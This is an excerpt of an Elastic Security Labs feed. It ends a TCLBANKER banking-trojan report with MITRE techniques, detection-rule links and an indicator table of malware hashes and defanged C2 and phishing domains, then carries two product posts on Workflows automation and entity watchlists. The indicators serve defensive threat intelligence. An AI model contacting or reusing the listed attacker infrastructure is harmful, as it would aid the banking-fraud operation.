<p>The C2 domain <code>mxtestacionamentos[.]com</code> previously pointed to a Brazilian-hosted IP <code>191.96.224[.]96</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image15.png" alt="Validin timeline of C2 A records" title="Validin timeline of C2 A records" /></p>
<p>Last year, this IP concurrently hosted a REF3076 C2 domain, a REF3076 phishing domain, and a domain previously <a href="https://www.trendmicro.com/en_gb/research/25/j/self-propagating-malware-spreads-via-whatsapp.html">associated with the Water Saci campaign</a> and SORVEPOTEL/MAVERICK malware by TrendMicro (<code>saogeraldoshiping[.]com</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image2.png" alt="Validin timeline of A records associated with 191.96.224[.]96" title="Validin timeline of A records associated with 191.96.224[.]96" /></p>
<h2>Conclusion</h2>
<p>TCLBANKER reflects a broader maturation happening across the Brazilian banking trojan ecosystem. Techniques that were once the hallmark of more sophisticated threat actors: environment-gated payload decryption, direct syscall generation, real-time social engineering orchestration over WebSocket, are now being packaged into commodity crimeware. The barrier to entry continues to drop, especially when powerful LLMs are readily accessible for code generation.</p>
<p>The inclusion of self-propagating worm modules marks a notable shift in this space. The campaign inherits the trust and deliverability of legitimate communications by hijacking victims' WhatsApp sessions and Outlook accounts. This is a distribution model that traditional email gateways and reputation-based defenses are ill-equipped to catch. As Latin American banking trojans continue to adopt these self-spreading mechanisms, organizations should expect the volume and reach of these campaigns to scale accordingly.</p>
<p>Developer artifacts throughout the chain, including debug logging paths, test process names, and a phishing site still under construction, suggest REF3076 is in its early operational stages. This is a campaign still being built out, not wound down.</p>
<h2>REF3076 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Spearphishing Attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/007/">System Binary Proxy Execution: Msiexec</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1622/">Debugger Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/003/">Input Capture: Web Portal Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1185/">Browser Session Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1114/001/">Email Collection: Local Email Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1529/">System Shutdown/Reboot</a></li>
</ul>
<h2>Remediating REF3076</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_ntdll_memory_protection_change_via_unsigned_dll.toml">NTDLL Memory Protection Change via Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_ntdll_library_loaded_for_a_second_time.toml">NTDLL library loaded for a second time</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_ntdll_memory_unhooking.toml">Potential NTDLL Memory Unhooking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml">Parallel NTDLL Loaded from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_core_module_change.toml">Suspicious Windows Core Module Change</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_amsi_bypass_via_setthreadcontext.toml">Potential AMSI Bypass via SetThreadContext</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_TCLBanker.yar">Windows.Trojan.TCLBanker</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">701d51b7be8b034c860bf97847bd59a87dca8481c4625328813746964995b626</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">8a174aa70a4396547045aef6c69eb0259bae1706880f4375af71085eeb537059</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">668f932433a24bbae89d60b24eee4a24808fc741f62c5a3043bb7c9152342f40</td>
<td align="left">SHA-256</td>
<td align="left">screen_retriever_plugin.dll</td>
<td align="left">TCLBanker loader component</td>
</tr>
<tr>
<td align="left">63beb7372098c03baab77e0dfc8e5dca5e0a7420f382708a4df79bed2d900394</td>
<td align="left">SHA-256</td>
<td align="left">XXL_21042026-181516.zip</td>
<td align="left">TCLBanker initial ZIP file</td>
</tr>
<tr>
<td align="left">campanha1-api.ef971a42[.]workers.dev</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker C2</td>
</tr>
<tr>
<td align="left">mxtestacionamentos[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker C2</td>
</tr>
<tr>
<td align="left">documents.ef971a42.workers[.]dev</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker file server</td>
</tr>
<tr>
<td align="left">arquivos-omie[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">documentos-online[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">afonsoferragista[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">doccompartilhe[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
<tr>
<td align="left">recebamais[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">TCLBanker phishing page (under development)</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/tclbanker-brazilian-banking-trojan.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Workflows GA: automation where your security data already lives]]></title>
            <link>https://www.elastic.co/kr/security-labs/elastic-workflows-ga-9-4</link>
            <guid>elastic-workflows-ga-9-4</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Workflows is generally available in 9.4, bringing production-ready security automation with deeper case management integration, human-in-the-loop support, natural language authoring, and more.]]></description>
            <content:encoded><![CDATA[<p>Elastic Workflows is generally available in 9.4. It is the automation layer built directly into Elastic, running where your data lives across Security, Observability, and Search. While this post focuses on a security deep dive, the same workflow capabilities apply across solutions, with no separate platform to deploy and no data to move. When an alert fires or a schedule triggers, a Workflow executes: querying Elasticsearch, enriching with threat intel, creating cases, calling external APIs, and notifying your team. Define it in YAML or describe it in natural language and let AI generate the workflow.</p>
<p>The <a href="https://www.elastic.co/kr/security-labs/security-automation-with-elastic-workflows">9.3 Tech Preview</a> introduced the foundation for native automation in Elastic. 9.4 brings it to general availability with production stability and significantly expanded capabilities. Case management gets 25 dedicated automation steps covering the full lifecycle. Human-in-the-loop becomes a first-class Workflow primitive. Natural language authoring moves to Tech Preview. The platform gains more flow-control primitives (<code>while</code>, <code>switch</code>, iteration control), data-transformation steps for working with collections, deeper AI integration with <a href="https://www.elastic.co/kr/elasticsearch/agent-builder">Agent Builder</a>, and broader event-driven triggers. Production-ready automation across Elastic.</p>
<h2>Case automation at scale</h2>
<p>The biggest addition for security teams is case management. In the Tech Preview, working with cases involved four generic steps: creating, retrieving, updating, and commenting. Anything beyond that required raw API calls.</p>
<p>Now there are 25 dedicated <code>cases.*</code> steps covering the full lifecycle: create, find, find similar, update, close, assign, unassign, add alerts, add observables, add comments, add tags, set severity, set status, and more. Each step is typed, validated, and appears in the YAML editor's autocomplete, which means natural-language authoring can generate them accurately, too.</p>
<p>Here's what a realistic triage workflow looks like. An alert fires. The Workflow checks whether a case already exists for this alert. If not, it creates one, attaches the alert and observables, assigns the on-call analyst, and routes severity based on risk score:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-workflows-ga-9-4/image3.png" alt="" /></p>
<p>The code below shows an example of a workflow described using YAML:</p>
<pre><code>name: Triage Workflow
enabled: true
triggers:
  - type: alert

steps:
  - name: check_existing
    type: cases.getCasesByAlertId
    with:
      alert_id: &quot;{{ event.alerts[0]._id }}&quot;

  - name: route
    type: if
    condition: &quot;steps.check_existing.output : ''&quot;
    steps:
      - name: update_existing
        type: cases.addComment
        with:
          case_id: &quot;{{ steps.check_existing.output[0].id }}&quot;
          comment: |
            Correlated alert: {{ event.rule.name }}
            Source: {{ event.alerts[0].source.ip | default: &quot;unknown&quot; }}
            Risk score: {{ event.alerts[0].kibana.alert.risk_score }}
    else:
      - name: create_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;{{ event.rule.name }} - {{ event.alerts[0].host.name }}&quot;
          description: |
            Auto-created from detection rule: {{ event.rule.name }}
            Host: {{ event.alerts[0].host.name }}
            Source IP: {{ event.alerts[0].source.ip | default: &quot;N/A&quot; }}
          severity: high
          tags:
            - auto-triage
            - &quot;{{ event.rule.name }}&quot;

      - name: attach_evidence
        type: cases.addAlerts
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          alerts:
            - alertId: &quot;{{ event.alerts[0]._id }}&quot;
              index: &quot;{{ event.alerts[0]._index }}&quot;

      - name: add_observables
        type: cases.addObservables
        with:
          case_id: &quot;{{steps.create_case.output.case.id}}&quot;
          observables:
            - typeKey: observable-type-ipv4
              value: &quot;{{ event.alerts[0].source.ip }}&quot;
            - typeKey: observable-type-file-hash
              value: &quot;{{ event.alerts[0].file.hash.sha256 }}&quot;
        on-failure:
          continue: true
</code></pre>
<p>The Workflow automatically handles deduplication, evidence attachment, observable enrichment, graceful handling of missing fields, and analyst assignment. The analyst opens Kibana and sees a case with all the context already there.</p>
<p>The 25 new <code>cases.*</code> steps include create, find, find similar, update, close, delete, assign, unassign, add/remove alerts, add/remove observables, add/update/delete comments, add/remove tags, set severity, set status, get by ID, get by alert ID, and more for custom fields, user actions, and metrics. Each step is typed and validated. If you're using natural language authoring, the AI can generate them accurately because they're part of the schema.</p>
<p>As Workflows mature, you'll see more domain-specific steps for detection rule management, endpoint response actions, and threat intelligence operations.</p>
<h2>Human checkpoints in automated Workflows</h2>
<p>Case automation handles the mechanical work, but not every decision should be fully automated. AI can classify an alert and gather context, but the analyst should decide whether to escalate. The question is how much mechanical work happens before they make that call.</p>
<p><code>waitForInput</code> pauses a Workflow for human judgment. The Workflow runs the investigation, gathers evidence, classifies the alert with AI, and stops. It presents structured findings and waits. The analyst reviews, approves or redirects, and adds notes, and then the Workflow resumes based on their input.</p>
<p>As the following image shows, the automation handles the investigation, but the analyst makes the decision before the automation executes it.<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-workflows-ga-9-4/image1.png" alt="" /><br />
<em>Classifies incoming alerts with AI, pauses for analyst review and approval, and only escalates approved cases by creating a high-severity incident with context from both the model and the analyst.</em></p>
<pre><code>name: HITL Example
enabled: true
triggers:
  - type: alert

steps:
  - name: classify
    type: ai.classify
    connector-id: Anthropic-Claude-Sonnet-4-6
    with:
      includeRationale: true
      input: ${{ event.alerts[0] }}
      categories:
        - true_positive
        - false_positive
        - needs_investigation

  - name: approval_gate
    type: waitForInput
    with:
      message: |
        Alert: {{ event.rule.name }}
        Classification: {{ steps.classify.output.category }}
        Rationale: {{ steps.classify.output.rationale }}
        Review the classification and approve to escalate.
      schema:
        type: object
        properties:
          approved:
            type: boolean
            title: Approve escalation
          notes:
            type: string
            title: Analyst notes
        required:
          - approved

  - name: escalate
    type: if
    condition: &quot;steps.approval_gate.output.approved : true&quot;
    steps:
      - name: create_escalated_case
        type: cases.createCase
        with:
          owner: securitySolution
          title: &quot;[Escalated] {{ event.rule.name }}&quot;
          description: |
            Escalated by analyst after AI classification.
            Classification: {{ steps.classify.output.category }}
            Notes: {{ steps.approval_gate.output.notes }}
          severity: high
          tags:
            - escalated
            - analyst-reviewed

</code></pre>
<p>Today, <code>waitForInput</code> works through the Kibana execution view and the REST API. Slack, Teams, and email delivery channels are coming so analysts can review and approve without switching context. This is especially important for workflows defined as tools in Agent Builder, where agent-driven investigations benefit from human checkpoints before taking action.</p>
<h2>Building Workflows from natural language</h2>
<p>With the automation patterns in place, the next challenge is making them accessible. We chose YAML as the Workflow language because it's declarative, reviewable, and portable. But it was also a strategic choice: YAML is structured text, and large language models are very good at generating structured text. A well-typed workflow schema is an ideal target for AI-powered authoring. In 9.4, that bet pays off. Natural language authoring is available in Tech Preview.</p>
<p>Inside the Workflow editor, describe what should happen: &quot;When a malware alert fires, check the file hash against VirusTotal, create a high-severity case, attach the alert and observables, and notify the SOC channel.&quot; The AI assistant generates the YAML. You review, refine, and deploy.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-workflows-ga-9-4/image2.png" alt="" /><br />
The YAML is fully inspectable and editable. If you know what should happen but aren't a YAML expert, this gets you from intent to a working workflow. If you are a YAML expert, you can start in natural language and refine in the editor.</p>
<p>The authoring experience will keep evolving. Visual editing is a complementary mode. Authoring that extends into Slack and other tools your team uses. The goal is to meet security teams wherever they work.</p>
<h2>Composable Workflows</h2>
<p>As your automation library grows, organization becomes critical. Security automation gets complex fast. You start with a single triage workflow, then realize different alert types need different investigation steps. You add conditionals, then more conditionals, and suddenly your workflow is hundreds of lines with nested logic that's hard to follow and harder to change.</p>
<p><code>workflow.execute</code> lets you build reusable workflows with typed inputs and outputs. Instead of embedding all your investigation logic in one place, you create focused workflows for specific scenarios and compose them together. Update your malware investigation workflow once, and every workflow that calls it benefits. The logic stays organized, changes stay contained, and your automation scales without becoming brittle.</p>
<p>Here's what this looks like in practice. Classify the alert, then route to the specialized workflow based on the threat type:</p>
<pre><code>steps:
  - name: dispatch
    type: switch
    expression: &quot;{{ steps.classify.output.category }}&quot;
    cases:
      - match: malware
        steps:
          - name: run_malware
            type: workflow.execute
            with:
              workflow-id: ${{ consts.malware_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
      - match: phishing
        steps:
          - name: run_phishing
            type: workflow.execute
            with:
              workflow-id: ${{ consts.phishing_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
    default:
      - name: run_generic
        type: workflow.execute
        with:
          workflow-id: ${{ consts.generic_triage_id }}
          inputs:
            alert: ${{ event.alerts[0] }}
</code></pre>
<p>Each workflow is independently testable. Most teams start with a single workflow and extract sub-workflows as patterns emerge. Composition is something you grow into.</p>
<p>The template library will eventually move into the product so you can discover and install pre-built workflows directly in Kibana.</p>
<h2>Where analysts already work</h2>
<p>Workflows are most useful when they're available where decisions get made. The primitives and patterns are in place, but automation only delivers value if analysts can reach it without switching tools. We're investing in making Workflows accessible throughout the security analyst experience, starting with the alerts table and Attack Discovery. Analysts can send alerts or entire attacks directly to a Workflow, triggering the investigation logic they've built without leaving their current context. This integration will continue expanding so that Workflow automation becomes a seamless part of the analyst's daily work, not a separate destination.</p>
<p>&quot;Run workflow&quot; in the alerts table lets you right-click an alert (or select multiple) and trigger a Workflow directly. The alert context passes automatically.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-workflows-ga-9-4/image5.png" alt="" /></p>
<p>This is the beginning. Workflows will continue expanding into more parts of the security experience, making automation accessible where analysts need it.</p>
<h2>More control, more flexibility</h2>
<p>Beyond the major features, the Workflow language itself has become more capable. New flow control primitives give you cleaner ways to handle complex logic. <code>while</code> loops let you poll for conditions or wait for external state changes. <code>switch</code> provides multi-way branching so you can route alerts by category without nested conditionals. <code>loop.break</code> and <code>loop.continue</code> give you standard iteration control.</p>
<p>Step-level data transformation steps handle filtering, finding, aggregating, and JSON operations on collections, so you can process alert lists, IOC lookups, and enrichment responses without custom scripting.</p>
<p>The AI steps (<code>ai.prompt</code>, <code>ai.classify</code>, <code>ai.summarize</code>, <code>ai.agent</code>) are more stable and now support structured outputs, making it easier to use AI-generated classifications and summaries in downstream workflow logic.</p>
<p>LiquidJS templating expanded too. You can now set variables and access them throughout the workflow, making it easier to reference computed values across multiple steps.</p>
<h2>Reliability and production controls</h2>
<p>All of this is useful only if it's reliable. Every step supports <code>on-failure</code> configuration: retry for transient failures, continue when a step isn't critical, and abort when downstream steps depend on the result. Error details are available at <code>steps.&lt;step-id&gt;.error</code> to help route around failures.</p>
<p>Concurrency controls prevent alert storms from spawning hundreds of parallel executions. Loop guardrails prevent runaway execution. Composition depth limits prevent infinite recursion.</p>
<p>Elastic 9.4 introduces event-driven triggers, starting with <code>workflows.failed</code>. When a workflow execution fails, it can trigger a separate handler workflow. Build a notification workflow that alerts your team when automation goes down. More trigger types are coming: case status changes, alert state transitions, and detection rule updates, making Workflows reactive to what's happening across your security environment.</p>
<p>Every execution is recorded in execution history with step-by-step results, including analyst decisions from <code>waitForInput</code> steps. This is your debugging tool and your audit trail.</p>
<p>Workflows is enabled by default in 9.4 with an Enterprise license. Granular RBAC controls who creates, edits, executes, and views workflows. Every management operation writes to the security audit log. Import/export moves Workflows between environments with connector references intact.</p>
<h2>Licensing and pricing</h2>
<p>Workflows is available with an Enterprise license on Elastic Cloud Hosted and self-managed deployments, and with the Complete tier on Elastic Cloud Serverless for Security projects.</p>
<p>Version 9.4 introduces a unified execution-based pricing model across all deployment types.</p>
<p>Across Serverless, Elastic Cloud Hosted, and self-managed, pricing is based on workflow executions, with volume-based discounts at scale. <strong>Each month includes a baseline allocation of workflow executions that are not billed</strong>. Usage beyond this allocation is billed per execution, with volume-based discounts applied as usage increases.</p>
<p><strong>Elastic Cloud Serverless</strong> begins applying this model on May 1, 2026. Usage beyond the monthly non-billed executions is charged per execution, with discounts at higher volumes. <a href="https://www.elastic.co/kr/pricing/serverless-security">See full pricing details</a>.</p>
<p><strong>Elastic Cloud Hosted and self-managed</strong> deployments follow the same pricing model, <strong>but are currently in a promotional period</strong> with execution charges not yet applied. This allows teams to build and run Workflows, establish usage patterns, and prepare for the transition to execution-based billing in a future release.</p>
<p>Start building now. The Workflows you create today will continue to run as pricing transitions to the unified model.</p>
<h2>Getting started</h2>
<p>Workflows are enabled by default in 9.4. Open Kibana, navigate to Workflows, and start building.</p>
<p>If you're new to Workflows, the <a href="https://www.elastic.co/kr/security-labs/security-automation-with-elastic-workflows">Tech Preview post</a> walks through building your first triage Workflow. The <a href="https://www.elastic.co/kr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Chrysalis APT workflow</a> shows Agent Builder integration in action. The <a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">documentation</a> has the complete step type reference. The <a href="https://github.com/elastic/workflows">Elastic Workflow Library</a> has ready-to-use templates.</p>
<p>Start with the Workflow that would save your team the most time this week. If you can describe it, you can build it.</p>
<hr />
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/elastic-workflows-ga-9-4/elastic-workflows-ga-9-4.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Know who to watch before the incident finds you]]></title>
            <link>https://www.elastic.co/kr/security-labs/entity-analytics-watchlists</link>
            <guid>entity-analytics-watchlists</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security v9.4 introduces Entity Analytics Watchlists, a way to codify what your team already knows about high-risk entities and feed that context directly into risk scoring, without custom pipelines or detection engineering overhead]]></description>
            <content:encoded><![CDATA[<p>Elastic Security v9.4 introduces Entity Analytics Watchlists, a new capability in the Entity Analytics suite that lets security teams create named, weighted lists of users, hosts, and services and feed that context directly into the platform's risk scoring pipeline. The gap this closes isn't awareness, as most security teams already know which entities deserve elevated scrutiny. The gap is that SIEMs have had no way to express that organizational knowledge as a risk signal. Watchlists do that without ES|QL, without pipeline configuration, and without a ticket to the detection engineering team.</p>
<h2>Your riskiest entities are already known; your SIEM just doesn't know that</h2>
<p>Security teams aren't starting from a blank slate. You already know certain people, hosts, and services deserve elevated scrutiny: the privileged admin whose access was never revoked after a role change, the engineer on a performance improvement plan, the acquired company's infrastructure not yet fully onboarded, the contractors brought in for a sensitive new business initiative.</p>
<p>The gap has never been awareness. The gap is that your security information and event management (SIEM) has no way to express that organizational knowledge as a first-class risk signal. Behavioral detection fires on anomalies. Threat intel fires on known bad indicators. But neither captures the <strong>context your security and HR teams carry in their heads,</strong> and that context is exactly what insider threat programs are built on.</p>
<table>
<thead>
<tr>
<th align="left">83% of organizations experienced at least one insider attack in the past year</th>
<th align="left">$17.4M average annual cost of insider threat incidents in 2025</th>
<th align="left">246 days average time to identify and contain a credentials-based breach</th>
</tr>
</thead>
</table>
<p>Mature user and entity behavior analytics (UEBA) platforms allow some form of static lists or risk multipliers, but they're often rigid, buried in configuration, and disconnected from the analyst workflow. Security teams deserve something better: a purpose-built, first-class feature that lets them codify what they already know about their environment and to have that knowledge dynamically influence every risk calculation in the platform.</p>
<h2>Introducing Entity Analytics Watchlists</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/entity-analytics-watchlists/image2.png" alt="Watchlists panel" title="Dashboard titled “Entity analytics” with the Watchlists tab selected, showing a table of three watchlists (Privileged Users, Departing Employees, and Employee Extended Leave) with columns for number of entities, risk score weighting, source, last updated, and action icons. The page also includes controls for turning the feature on or off, clearing entity data, and creating a watchlist." /></p>
<p>Watchlists are a new capability in Elastic Security's Entity analytics suite, arriving in the v9.4 release. They let security teams create named, described, rule-driven, or manually curated lists of users, hosts, services, or other entities and to attach configurable risk score weightings to every entity on each list.</p>
<blockquote>
<p>Think of Entity Analytics Watchlists as the bridge between your organization's institutional knowledge and your security information and event management’s (SIEM's) risk engine. You already know who deserves a second look. Now your platform knows too.</p>
</blockquote>
<p>The term watchlist is a familiar concept in the industry, but Entity Analytics Watchlists go further. This isn't just a way to bookmark entities; it's a structured mechanism for injecting <strong>custom correlation factors</strong> directly into the risk scoring pipeline. Every entity that appears on a watchlist carries its membership as a weighted signal, compounded with alert activity, asset criticality, and behavioral anomalies to produce a single, prioritized risk score.</p>
<p>Take a concrete example: John Doe is a departing employee. He’s added to a &quot;Departing Employees&quot; Watchlist configured with an elevated risk weighting. He also owns a server on the &quot;Critical Infrastructure&quot; Watchlist. When John triggers an alert, for example, an unusual volume of file downloads, his risk score now compounds all three signals: the alert, the asset criticality, and both list memberships. The platform surfaces him far higher in the risk queue than it would for the same alert on an average employee. The analyst sees exactly why.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/entity-analytics-watchlists/image1.png" alt="Risk panel" title="Two‑panel dashboard showing “Employee Extended Leave risk levels” on the left with five risk categories and their numeric ranges, and “Risk contributions” on the right with contexts and alerts for the entity “ronaldostiedemann,” including contribution values, alert dates, rule names, and associated entities." /></p>
<h2>The lists your security program already maintains</h2>
<p>Entity Analytics Watchlists are most powerful when they reflect the real-world risk categories your security, HR, and operations teams already track informally. Here are the most common starting points:</p>
<table>
<thead>
<tr>
<th align="left">🚪  Departing employees On notice, performance improvement plans (PIPs), or offboarding: elevated exfiltration risk, regardless of whether an alert has fired.</th>
<th align="left">🔑  Privileged access users Admins and service account holders whose actions carry outsized blast radius.</th>
<th align="left">👑  Crown jewel hosts Critical infrastructure, IP repositories, and financial systems demanding tighter scrutiny.</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>🤝  Mergers and acquisitions / acquisition cohorts</strong> Newly onboarded entities where trust has not yet been fully established.</td>
<td align="left"><strong>🚀  High-risk business initiatives</strong> Teams in sensitive new ventures, requiring extra monitoring during critical phases.</td>
<td align="left"><strong>🛡️  Known-safe allow lists</strong> Dampen scores for verified low-risk entities, keeping analyst focus where it matters.</td>
</tr>
</tbody>
</table>
<h2>Custom correlation, finally, without the engineering overhead</h2>
<p>Historically, bringing organizational context into a SIEM risk model has required significant custom engineering: lookup tables, enrichment pipelines, detection rule overrides, and constant maintenance as personnel and asset inventories change. For most security teams, that overhead means it simply doesn't get done. We remove that barrier entirely.<br />
An insider threat analyst can create a &quot;Departing Employees&quot; list in minutes, add a risk weighting, and immediately see that context reflected in the entity risk queue. No Elasticsearch Query Language (ES|QL) required. No pipeline configuration. No ticket to the detection engineering team. The organizational knowledge that was previously locked in spreadsheets, HR systems, or informal team awareness is now a first-class signal in the platform.</p>
<p>This is the ability to build risk correlations factors that simply haven't been possible anywhere else in the market and to do it without requiring detection engineering expertise.</p>
<p>For more mature teams, our custom watchlists also integrate cleanly with automated population, meaning that lists can be kept automatically current as conditions change or through APIs. An HR integration that marks an employee as departing can trigger list membership automatically; when they're fully offboarded, they're removed. The signal stays fresh without manual upkeep.</p>
<h2>Coming in Elastic Security v9.4</h2>
<p>Entity Analytics Watchlists ship as a major roadmap item in the upcoming Elastic Security v9.4 release. They’re available to customers running Elastic Security with Entity analytics enabled.</p>
<p>If you're already using entity risk scoring and asset criticality, Entity Analytics Watchlists are the natural next step, layering your organization's operational context on top of the platform's behavioral and alert-based signals to produce the most accurate, prioritized risk picture possible.</p>
<p>We've heard from security teams across industries that this capability is one of the most anticipated additions to the UEBA toolkit. We can't wait to see what lists you build.</p>
<h2>Frequently Asked Questions</h2>
<p><strong>Q: How do I add organizational context to Elastic Security's risk scoring?</strong> A: In Elastic Security v9.4, you can inject organizational context into your risk scoring by utilizing Entity Analytics Watchlists, which allow you to ingest custom lists of high-value entities such as users, hosts, or services and assign them specific risk weightings. These watchlists function as dynamic correlation factors; when an entity on a watchlist appears in an alert, the system automatically compounds its risk score based on your pre-configured weights. This ensures that threats involving your most critical assets are prioritized instantly, transforming raw security data into an outcome-driven investigation queue that reflects your company's unique threat landscape.</p>
<p><strong>Q: How do I monitor high-risk employees in a SIEM without custom detection rules?</strong> A: Elastic Security Watchlists let you add entities like departing employees or privileged admins to a named list with an elevated risk weighting, with no ES|QL or pipeline configuration required. Their list membership is factored into risk scoring automatically alongside any alert activity.</p>
